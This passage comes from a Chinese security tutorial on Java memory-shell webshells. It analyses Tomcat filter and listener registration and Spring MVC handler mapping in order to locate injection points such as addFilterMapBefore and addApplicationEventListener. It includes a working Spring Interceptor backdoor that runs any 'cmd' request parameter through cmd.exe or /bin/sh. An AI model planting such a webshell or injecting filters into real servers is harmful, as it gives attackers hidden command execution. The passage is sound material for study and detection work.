{\n        ApplicationFilterChain filterChain = null;\n        if (request instanceof Request) {\n            Request req = (Request)request;\n            if (Globals.IS_SECURITY_ENABLED) {\n                filterChain = new ApplicationFilterChain();\n            } else {\n                filterChain = (ApplicationFilterChain)req.getFilterChain();\n                if (filterChain == null) {\n                    filterChain = new ApplicationFilterChain();\n                    req.setFilterChain(filterChain);\n                }\n            }\n        } else {\n            filterChain = new ApplicationFilterChain();\n        }\n\n        filterChain.setServlet(servlet);\n        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());\n        StandardContext context = (StandardContext)wrapper.getParent();\n        FilterMap[] filterMaps = context.findFilterMaps();\n        if (filterMaps != null \u0026\u0026 filterMaps.length != 0) {\n            DispatcherType dispatcher = (DispatcherType)request.getAttribute(\"org.apache.catalina.core.DISPATCHER_TYPE\");\n            String requestPath = null;\n            Object attribute = request.getAttribute(\"org.apache.catalina.core.DISPATCHER_REQUEST_PATH\");\n            if (attribute != null) {\n                requestPath = attribute.toString();\n            }\n\n            String servletName = wrapper.getName();\n            FilterMap[] var10 = filterMaps;\n            int var11 = filterMaps.length;\n\n            int var12;\n            FilterMap filterMap;\n            ApplicationFilterConfig filterConfig;\n            for(var12 = 0; var12 \u003c var11; ++var12) {\n                filterMap = var10[var12];\n                if (matchDispatcher(filterMap, dispatcher) \u0026\u0026 matchFiltersURL(filterMap, requestPath)) {\n                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());\n                    if (filterConfig != null) {\n                        filterChain.addFilter(filterConfig);\n                    }\n                }\n            }\n\n            var10 = filterMaps;\n            var11 = filterMaps.length;\n\n            for(var12 = 0; var12 \u003c var11; ++var12) {\n                filterMap = var10[var12];\n                if (matchDispatcher(filterMap, dispatcher) \u0026\u0026 matchFiltersServlet(filterMap, servletName)) {\n                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());\n                    if (filterConfig != null) {\n                        filterChain.addFilter(filterConfig);\n                    }\n                }\n            }\n\n            return filterChain;\n        } else {\n            return filterChain;\n        }\n    }\n}\n```\n\n我们在该方法和下面定义`filterMaps`那行下断点进行调试，可以看到，这段代码先是判断`servlet`是否为空，如果是就表示没有有效的`servlet`，无法创建过滤器链；然后根据传入的`ServletRequest`的类型来分类处理，如果是`Request`类型，并且启用了安全性，那么就创建一个新的`ApplicationFilterChain`，如果没启用，那么就尝试从请求中获取现有的过滤器链，如果不存在那么就创建一个新的；接着是设置过滤器链的`Servlet`和异步支持属性，这个没啥说的；关键点在于后面从`Wrapper`中获取父级上下文（`StandardContext`），然后获取该上下文中定义的过滤器映射数组（`FilterMap`）；最后遍历过滤器映射数组，根据请求的`DispatcherType`和请求路径匹配过滤器，并将匹配的过滤器添加到过滤器链中，最终返回创建或更新后的过滤器链。\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117004652307.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117004728760.png)\n\n从上面的两张图我们也可以清晰地看到`filterConfig`、`filterMap`、`FilterDef`的结构。\n\n跟进刚才的`filterChain.doFilter`方法，位于`org.apache.catalina.core.ApplicationFilterChain#doFilter`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117005026102.png)\n\n可以看到都是调用了`org.apache.catalina.core.ApplicationFilterChain#internalDoFilter`方法，在这个方法中会依次拿到`filterConfig`和`filter`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117005923310.png)\n\n好了，大致过程到这里就结束了，但是我们的目的是打入内存马，也就是要动态地创建一个`Filter`，回顾之前的调试过程，我们发现在`createFilterChain`那个函数里面有两个关键点：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117010603894.png)\n\n也就是这里我用箭头指出来的`org.apache.catalina.core.StandardContext#findFilterMaps`和`org.apache.catalina.core.StandardContext#findFilterConfig`。\n\n二者的实现代码粘贴如下：\n\n```java\npublic FilterMap[] findFilterMaps() {\n    return filterMaps.asArray();\n}\n\npublic FilterConfig findFilterConfig(String name) {\n    synchronized (filterDefs) {\n        return filterConfigs.get(name);\n    }\n}\n```\n\n也就是说我们只需要查找到现有的上下文，然后往里面插入我们自定义的恶意过滤器映射和过滤器配置，就可以实现动态添加过滤器了。\n\n那也就是说，我们现在的问题就转化为如何添加`filterMap`和`filterConfig`。我们搜索关键词`addFilterMap`，即可看到在`StandardContext`中有两个相关的方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117131207868.png)\n\n注释里面也说的很清楚，`addFilterMap`是在一组映射末尾添加新的我们自定义的新映射；而`addFilterMapBefore`则会自动把我们创建的`filterMap`丢到第一位去，无需再手动排序，这正是我们需要的呀！\n\n可以看到，上面的`addFilterMapBefore`函数中第一步是先执行`org.apache.catalina.core.StandardContext#validateFilterMap`这个函数，点击去看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117131938707.png)\n\n发现我们需要保证它在根据`filterName`找`filterDef`的时候，得能找到，也就是说，我们还得自定义`filterDef`并把它加入到`filterDefs`，不过这个也很简单，也有对应的方法，也就是`org.apache.catalina.core.StandardContext#addFilterDef`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117132121464.png)\n\n搞定，继续去看`filterConfig`如何添加。经过搜索发现，不存在类似上面的`addFilterConfig`这种方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117132257971.png)\n\n但是有`filterStart`和`filterStop`这两个方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117135001440.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117135022708.png)\n\n那也就是说，我们只能通过反射的方法去获取相关属性并添加进去。\n\n## 2.7 Listener简单介绍\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/tomcat.png)\n\n由上图可知，`Listener`是最先被加载的，所以根据前面我们学到的思路，我动态注册一个恶意的`Listener`，就又可以形成一种内存马了。\n\n在`tomcat`中，常见的`Listener`有以下几种：\n\n- `ServletContextListener`，用来监听整个`Web`应用程序的启动和关闭事件，需要实现`contextInitialized`和`contextDestroyed`这两个方法；\n- `ServletRequestListener`，用来监听`HTTP`请求的创建和销毁事件，需要实现`requestInitialized`和`requestDestroyed`这两个方法；\n- `HttpSessionListener`，用来监听`HTTP`会话的创建和销毁事件，需要实现`sessionCreated`和`sessionDestroyed`这两个方法；\n- `HttpSessionAttributeListener`，监听`HTTP`会话属性的添加、删除和替换事件，需要实现`attributeAdded`、`attributeRemoved`和`attributeReplaced`这三个方法。\n\n很明显，`ServletRequestListener`是最适合做内存马的，因为它只要访问服务就能触发操作。\n\n## 2.8 编写一个简单的Listener（ServletRequestListener）\n\n我们继续用我们之前在`2.2`中搭建的环境，替换掉之前的`TestFilter.java`，重新写一个`TestListener.java`：\n\n```java\npackage org.example;\n\nimport javax.servlet.*;\nimport javax.servlet.annotation.WebListener;\n\n@WebListener(\"/test\")\npublic class TestListener implements ServletRequestListener {\n    @Override\n    public void requestDestroyed(ServletRequestEvent sre) {\n        System.out.println(\"[+] destroy TestListener\");\n    }\n\n    @Override\n    public void requestInitialized(ServletRequestEvent sre) {\n        System.out.println(\"[+] initial TestListener\");\n    }\n}\n```\n\n运行结果：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117193153492.png)\n\n## 2.9 从代码层面分析Listener运行的整体流程\n\n我们在如图所示的两个地方下断点调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117193334272.png)\n\n往下翻可以看到`org.apache.catalina.core.StandardContext#listenerStart`方法的调用：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117193516785.png)\n\n代码写的通俗易懂，主要有两个事情要干，一是通过`findApplicationListeners`找到这些`Listerner`的名字；二是实例化这些`listener`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117213700704.png)\n\n接着就是分类摆放，我们需要的`ServletRequestListener`被放在了`eventListeners`里面：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117223551872.png)\n\n分类摆放完了之后，干这样一件事情：\n\n```java\neventListeners.addAll(Arrays.asList(getApplicationEventListeners()));\n```\n\n`Arrays.asList(...)` 好理解，意思就是将数组转换为列表；`eventListeners.addAll(...)`也好理解，意思就是将括号里面的内容添加到之前实例化的监听器列表 `eventListeners` 中。关于括号里边的`org.apache.catalina.core.StandardContext#getApplicationEventListeners`这个方法，我们点进去看，代码如下：\n\n```java\n@Override\npublic Object[] getApplicationEventListeners() {\n    return applicationEventListenersList.toArray();\n}\n```\n\n也很简单明了，就是把`applicationEventListenersList`转换成一个包含任意类型对象的数组，也就是一个可能包含各种类型的应用程序事件监听器的数组。\n\n那这总结起来就一句话，就是`Listener`有两个来源，一是根据`web.xml`文件或者`@WebListener`注解实例化得到的`Listener`；二是`applicationEventListenersList`中的`Listener`。前面的我们肯定没法控制，因为这是给开发者用的，不是给黑客用的哈哈哈。那就找找看，有没有类似之前我们用到的`addFilterConfig`这种函数呢？当然是有的，`ctrl+左键`往上找：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117225625995.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117225704881.png)\n\n方法名字叫做`addApplicationEventListener`，在`StandardContext.java`里面，代码如下，完美符合我们的需求，真是太哇塞了：\n\n```java\npublic void addApplicationEventListener(Object listener) {\n    applicationEventListenersList.add(listener);\n}\n```\n\n## 2.10 简单的spring项目搭建\n\n新建个项目，设置`Server URL`为`https://start.aliyun.com/`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118010240710.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118010435462.png)\n\n等待依赖解析完成：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118010538774.png)\n\n这里给我们准备了一个示例，我们可以直接跑起来：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118011103790.png)\n\n### 2.10.1 编写一个简单的Spring Controller\n\n```java\npackage org.example.springcontrollermemoryshellexample.demos.web;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n@Controller\npublic class TestController {\n    @ResponseBody\n    @RequestMapping(\"/\")\n    public String test(){\n        return \"hello world\";\n    }\n}\n```\n\n非常地简单：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118011631123.png)\n\n### 2.10.2 编写一个简单的Spring Interceptor\n\n`TestInterceptor.java`：\n\n```java\npackage org.example.springcontrollermemoryshellexample.demos.web;\n\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class TestInterceptor extends HandlerInterceptorAdapter {\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        String cmd = request.getParameter(\"cmd\");\n        if(cmd != null){\n            try {\n                java.io.PrintWriter writer = response.getWriter();\n                String output = \"\";\n                ProcessBuilder processBuilder;\n                if(System.getProperty(\"os.name\").toLowerCase().contains(\"win\")){\n                    processBuilder = new ProcessBuilder(\"cmd.exe\", \"/c\", cmd);\n                }else{\n                    processBuilder = new ProcessBuilder(\"/bin/sh\", \"-c\", cmd);\n                }\n                java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter(\"\\\\A\");\n                output = inputScanner.hasNext() ? inputScanner.next(): output;\n                inputScanner.close();\n                writer.write(output);\n                writer.flush();\n                writer.close();\n            } catch (Exception ignored){}\n            return false;\n        }\n        return true;\n    }\n}\n```\n\n`WebConfig.java`：\n\n```java\npackage org.example.springcontrollermemoryshellexample.demos.web;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\n\n@Configuration\npublic class WebConfig implements WebMvcConfigurer {\n\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        registry.addInterceptor(new TestInterceptor()).addPathPatterns(\"/**\");\n    }\n}\n```\n\n`Controller`就是之前写的`TestController.java`，运行后访问`http://127.0.0.1:8080/?cmd=whoami`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119205649551.png)\n\n### 2.10.3 编写一个简单的Spring WebFlux的Demo（基于Netty）\n\n我们先聊聊怎么自己写一个`Spring WebFlux`框架的`demo`。\n\n这里我们新建一个`SpringBoot`项目，取名`WebFluxMemoryShellDemo`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240121181613825.png)\n\n这里选择`Spring Reactive Web`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240121182533113.png)\n\n接着新建两个文件，这里为了方便，我把这两个文件放到`hello`文件夹下。\n\n`GreetingHandler.java`：\n\n```java\npackage org.example.webfluxmemoryshelldemo.hello;\n\nimport org.springframework.http.MediaType;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.reactive.function.BodyInserters;\nimport org.springframework.web.reactive.function.server.ServerRequest;\nimport org.springframework.web.reactive.function.server.ServerResponse;\nimport reactor.core.publisher.Mono;\n\n@Component\npublic class GreetingHandler {\n    public Mono\u003cServerResponse\u003e hello(ServerRequest request) {\n        return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN).body(BodyInserters.fromValue(\"Hello, Spring!\"));\n    }\n}\n```\n\n`GreetingRouter.java`：\n\n```java\npackage org.example.webfluxmemoryshelldemo.hello;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.reactive.function.server.*;\n\n@Configuration\npublic class GreetingRouter {\n    @Bean\n    public RouterFunction\u003cServerResponse\u003e route(GreetingHandler greetingHandler) {\n        return RouterFunctions.route(RequestPredicates.GET(\"/hello\").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello);\n    }\n}\n```\n\n我们可以新建`main/resources`文件夹，然后新建`application.properties`，通过`server.port`来控制`netty`服务的端口：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240121182911474.png)\n\n接着我们运行：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240121183100943.png)\n\n这里我从`github`上找了一个项目，也可以很好地帮助我们理解这个框架是如何使用的，它采用的是`Netty`+`SpringWebFlux`：\n\n\u003e https://github.com/Java-Techie-jt/springboot-webflux-demo\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240121135125819.png)\n\n随便访问个路由。例如`http://127.0.0.1:9191/customers/stream`：\n\n![](https://cdn.jsdelivr.net/gh/W01fh4cker/blog_image@main/customers_stream.gif)\n\n## 2.11 Spring MVC介绍\n\n如果想要深入理解`Spring MVC`框架型内存马，那么对`Spring MVC`的基础了解是非常必要的，本节就从源码层面和大家简单聊聊这个框架。\n\n首先引用《`Spring in Action`》上的一张图（这里我重制了一下）来了解`Spring MVC`的核心组件和大致处理流程（不过我在第五版书上貌似没有找到这张图，有找到的小伙伴可以公众号后台私信我）：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/springmvc2.png)\n\n可以看到，这里有一堆名词，我们一一来看：\n\n- `DispatcherServlet`是前端控制器，它负责接收`Request`并将`Request`转发给对应的处理组件；\n- `HandlerMapping`负责完成`url`到`Controller`映射，可以通过它来找到对应的处理`Request`的`Controller`；\n- `Controller`处理`Request`，并返回`ModelAndVIew`对象，`ModelAndView`是封装结果视图的组件；\n- ④~⑦表示视图解析器解析`ModelAndView`对象并返回对应的视图给客户端。\n\n还有一个概念需要了解，就是`IOC`容器，因为这个名词会在本文后面的内容中提及。\n\n`IOC`（控制反转）容器是`Spring`框架的核心概念之一，它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器，使得应用程序组件无需直接管理它们的依赖关系。`IOC`容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。`Spring`框架提供了多种实现`IOC`容器的方式，下面讲两种常见的：\n\n- `BeanFactory`：`Spring`的最基本的`IOC`容器，提供了基本的`IOC`功能，只有在第一次请求时才创建对象。\n\n- `ApplicationContext`：这是`BeanFactory`的扩展，提供了更多的企业级功能。`ApplicationContext`在容器启动时就预加载并初始化所有的单例对象，这样就可以提供更快的访问速度。\n\n### 2.11.1 Spring MVC九大组件\n\n这九大组件需要有个印象：\n\n`DispatcherServlet`（派发`Servlet`）：负责将请求分发给其他组件，是整个`Spring MVC`流程的核心；\n`HandlerMapping`（处理器映射）：用于确定请求的处理器（`Controller`）；\n`HandlerAdapter`（处理器适配器）：将请求映射到合适的处理器方法，负责执行处理器方法；\n`HandlerInterceptor`（处理器拦截器）：允许对处理器的执行过程进行拦截和干预；\n`Controller`（控制器）：处理用户请求并返回适当的模型和视图；\n`ModelAndView`（模型和视图）：封装了处理器方法的执行结果，包括模型数据和视图信息；\n`ViewResolver`（视图解析器）：用于将逻辑视图名称解析为具体的视图对象；\n`LocaleResolver`（区域解析器）：处理区域信息，用于国际化；\n`ThemeResolver`（主题解析器）：用于解析`Web`应用的主题，实现界面主题的切换。\n\n### 2.11.2 简单的源码分析\n\n#### 2.11.2.1 九大组件的初始化\n\n首先是找到`org.springframework.web.servlet.DispatcherServlet`，可以看到里面有很多组件的定义和初始化函数以及一些其他的函数：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118153801770.png)\n\n但是没有`init()`函数，我们翻看其父类`FrameworkServlet`的父类`org.springframework.web.servlet.HttpServletBean`的时候发现有`init`函数：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118153925178.png)\n\n代码如下：\n\n```java\n@Override\npublic final void init() throws ServletException {\n\n    // Set bean properties from init parameters.\n    PropertyValues pvs = new ServletConfigPropertyValues(getServletConfig(), this.requiredProperties);\n    if (!pvs.isEmpty()) {\n        try {\n            BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(this);\n            ResourceLoader resourceLoader = new ServletContextResourceLoader(getServletContext());\n            bw.registerCustomEditor(Resource.class, new ResourceEditor(resourceLoader, getEnvironment()));\n            initBeanWrapper(bw);\n            bw.setPropertyValues(pvs, true);\n        }\n        catch (BeansException ex) {\n            if (logger.isErrorEnabled()) {\n                logger.error(\"Failed to set bean properties on servlet '\" + getServletName() + \"'\", ex);\n            }\n            throw ex;\n        }\n    }\n\n    // Let subclasses do whatever initialization they like.\n    initServletBean();\n}\n```\n\n先是从`Servlet`的配置中获取初始化参数并创建一个`PropertyValues`对象，然后设置`Bean`属性；关键在最后一步，调用了`initServletBean`这个方法。\n\n我们点进去之后发现该函数并没有写任何内容，说明应该是子类继承的时候`override`了该方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118154412364.png)\n\n果不其然，我们在`org.springframework.web.servlet.FrameworkServlet`中成功找到了该方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118154436747.png)\n\n代码如下：\n\n```java\n@Override\nprotected final void initServletBean() throws ServletException {\n    getServletContext().log(\"Initializing Spring \" + getClass().getSimpleName() + \" '\" + getServletName() + \"'\");\n    if (logger.isInfoEnabled()) {\n        logger.info(\"Initializing Servlet '\" + getServletName() + \"'\");\n    }\n    long startTime = System.currentTimeMillis();\n\n    try {\n        this.webApplicationContext = initWebApplicationContext();\n        initFrameworkServlet();\n    }\n    catch (ServletException | RuntimeException ex) {\n        logger.error(\"Context initialization failed\", ex);\n        throw ex;\n    }\n\n    if (logger.isDebugEnabled()) {\n        String value = this.enableLoggingRequestDetails ?\n                \"shown which may lead to unsafe logging of potentially sensitive data\" :\n                \"masked to prevent unsafe logging of potentially sensitive data\";\n        logger.debug(\"enableLoggingRequestDetails='\" + this.enableLoggingRequestDetails +\n                \"': request parameters and headers will be \" + value);\n    }\n\n    if (logger.isInfoEnabled()) {\n        logger.info(\"Completed initialization in \" + (System.currentTimeMillis() - startTime) + \" ms\");\n    }\n}\n```\n\n这段代码的`log`和计时部分就不说了，我们捡关键的说。它先是调用`initWebApplicationContext`方法，初始化`IOC`容器，在初始化的过程中，会调用到这个`onRefresh`方法，一般来说这个方法是在容器刷新完成后被调用的回调方法，它执行一些在应用程序启动后立即需要完成的任务：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118155901114.png)\n\n跟入该方法，可以看到其中默认为空：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118160618786.png)\n\n说明在它的子类中应该会有`override`，果然我们定位到了`org.springframework.web.servlet.DispatcherServlet#\t`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118160730953.png)\n\n这一下就明了了起来，这不是我们之前提到的九大组件嘛，到这一步就完成了`Spring MVC`的九大组件的初始化。\n\n#### 2.11.2.2 url和Controller的关系的建立\n\n你可能会有这样的一个疑惑：我们是用`@RequestMapping(\"/\")`注解在方法上的，那`Spring MVC`是怎么根据这个注解就把对应的请求和这个方法关联起来的？\n\n从上面的九大组件的初始化中可以看到，有个方法就叫做`initHandlerMappings`，我们点进去详细看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118170255776.png)\n\n这段代码和自带的注释写的也比较通俗易懂，分为两部分，第一部分是去`ApplicationContext`（包括`ancestor contexts`）里面找所有实现了`HandlerMappings`接口的类，如果找到了至少一个符合条件的`HandlerMapping bean`，那就把它的值转化为列表，并按照Java的默认排序机制对它们进行排序，最后将排序后的列表赋值给 `this.handlerMappings`；那如果没有找到，`this.handlerMappings`就依然保持为`null`；如果不需要检测所有处理程序映射，那就尝试从`ApplicationContext`中获取名称为 `handlerMapping` 的`bean`，如果成功获取到了则将其作为单一元素的列表赋值给 `this.handlerMappings`，如果获取失败了，那也没关系，因为人家注释里面讲的很明白，会添加一个默认的`HandlerMapping`，这也就是我们要讲的第二部分的代码。\n\n第二部分说的是，如果之前一套操作下来，`this.handlerMappings`还是为`null`，那么就调用 `getDefaultStrategies` 方法去获取默认的`HandlerMapping`，并将其赋给 `this.handlerMappings`。\n\n这么一看的话，`org.springframework.web.servlet.DispatcherServlet#getDefaultStrategies`这个方法还是挺关键的，我们点进去看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118172033745.png)\n\n这段代码挺有意思，先是加载资源文件，并将其内容以属性键值对的形式存储在`defaultStrategies`中；接下来从`strategyInterface`获取一个名称，然后用这个名称在`defaultStrategies`中查找相应的值，如果找到了，就将这个值按逗号分隔成类名数组，接着遍历这个类名数组，对于每个类名都执行以下两个操作：①尝试通过`ClassUtils.forName`方法加载该类 ②使用`createDefaultStrategy`方法创建该类的实例；最后将创建的策略对象添加到列表`strategies`中并返回。\n\n那就很好奇了，这段代码中的`DEFAULT_STRATEGIES_PATH`里面有啥？`Ctrl+左键`追踪：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118174426118.png)\n\n原来是一个名叫`DispatcherServlet.properties`的文件，我们可以在左侧的依赖列表里面很快地翻到它，因为它应该是和`DispatcherServlet.java`在一块儿的：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118174523396.png)\n\n从文件内容中，我们可以很快地锁定关键信息：\n\n```properties\norg.springframework.web.servlet.HandlerMapping=org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping,\\\n\torg.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping,\\\n\torg.springframework.web.servlet.function.support.RouterFunctionMapping\n```\n\n也就是说，会有三个值，分别是`BeanNameUrlHandlerMapping`、`RequestMappingHandlerMapping`和`RouterFunctionMapping`，我们一般用的是第二个，我们点进`org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping`看一下：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118174955839.png)\n\n它的父类`RequestMappingInfoHandlerMapping`的父类`AbstractHandlerMethodMapping`实现了`InitializingBean`这个接口，这个接口用于在`bean`初始化完成后执行一些特定的自定义初始化逻辑。\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118175247104.png)\n\n点进该接口，只有一个`afterPropertiesSet`方法，关于该方法的用途可以参考`https://www.python100.com/html/U711CO7MV79C.html`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118175806150.png)\n\n那我们就看看`AbstractHandlerMethodMapping`它是具体咋实现`InitializingBean`的`afterPropertiesSet`的吧：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118180208640.png)\n\n重写的也很简单，调用`initHandlerMethods`这个方法，继续跟踪该方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118180258066.png)\n\n注释里面写的很清楚：扫描`ApplicationContext`中的`bean`，然后检测并注册`handler methods`。\n\n我们在`org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#initHandlerMethods`这里打下断点进行调试，到图中这一步之后`step into`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118191019570.png)\n\n我们来看`org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#processCandidateBean`这个方法的具体逻辑：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118191122592.png)\n\n这里我们自然很好奇，这个`isHandler`是判断啥的，我们点进去看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118191924946.png)\n\n可以看到，这里并没有给出实现，说明子类中应该会给出`override`，于是直接找到了`org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#isHandler`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118192146352.png)\n\n很明显，`isHandler`是用来检测给定的`beanType`类是否带有`Controller`注解或者`RequestMapping`注解。\n\n解决了这个，继续往后看，后面是调用了`detectHandlerMethods`这个方法，我们点进去看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118192734772.png)\n\n我们分开来看，首先是这行代码，它是综合起来写的，意思是说，先判断`handler`是否是字符串类型，如果是，则通过`ApplicationContext`获取它的类型；否则，直接获取`handler`的类型。：\n\n```java\nClass\u003c?\u003e handlerType = (handler instanceof String ?\n            obtainApplicationContext().getType((String) handler) : handler.getClass());\n```\n\n然后是这部分：\n\n```java\nClass\u003c?\u003e userType = ClassUtils.getUserClass(handlerType);\nMap\u003cMethod, T\u003e methods = MethodIntrospector.selectMethods(userType,\n        (MethodIntrospector.MetadataLookup\u003cT\u003e) method -\u003e {\n            try {\n                return getMappingForMethod(method, userType);\n            }\n            catch (Throwable ex) {\n                throw new IllegalStateException(\"Invalid mapping on handler class [\" +\n                        userType.getName() + \"]: \" + method, ex);\n            }\n        });\n```\n\n先是获取处理器的用户类，用户类是没有经过代理包装的类，这样就可以确保获取到的是实际处理请求的类；然后是这个`selectMethods`方法，这个方法有两个参数，第一个参数就是用户类，第二个参数是一个回调函数。关键就在于理解这个回调函数的作用。对于每个方法，它会尝试调用`getMappingForMethod`来获取方法的映射信息。\n\n我们点进这个方法，发现它是一个抽象方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118193938936.png)\n\n那就去看看他的子类中有没有对应的实现，直接定位到`org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#getMappingForMethod`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118194251185.png)\n\n我们在下图所示位置打断点调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118195411713.png)\n\n分开来看，首先是第一行：\n\n```java\nRequestMappingInfo info = createRequestMappingInfo(method);\n```\n\n解析`Controller`类的方法中的注解，生成一个对应的`RequestMappingInfo`对象。我们可以`step into`进入`org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#createRequestMappingInfo(java.lang.reflect.AnnotatedElement)`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118195804561.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118195850878.png)\n\n可以看到这个`info`里面保存了访问该方法的`url pattern`是`\"/\"`，也就是我们在`TestController.java`所想要看到的当`@RequestMapping(\"/\")`时，调用`test`方法。\n\n继续一步步往下走，可以看到走到了`org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods`的最后：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118200254342.png)\n\n直接看`lambda`表达式里面的内容：\n\n```java\nMethod invocableMethod = AopUtils.selectInvocableMethod(method, userType);\nregisterHandlerMethod(handler, invocableMethod, mapping);\n```\n\n意思是，先用`selectInvocableMethod`方法根据`method`和`userType`选择出一个可调用的方法，这样是为了处理可能存在的代理和`AOP`的情况，确保获取到的是可直接调用的原始方法；然后把`bean`、`Method`和`RequestMappingInfo`注册进`MappingRegistry`。\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240118201648822.png)\n\n到这里，`url`和`Controller`之间的关系是如何建立的问题就解决了。\n\n#### 2.11.2.3 Spring 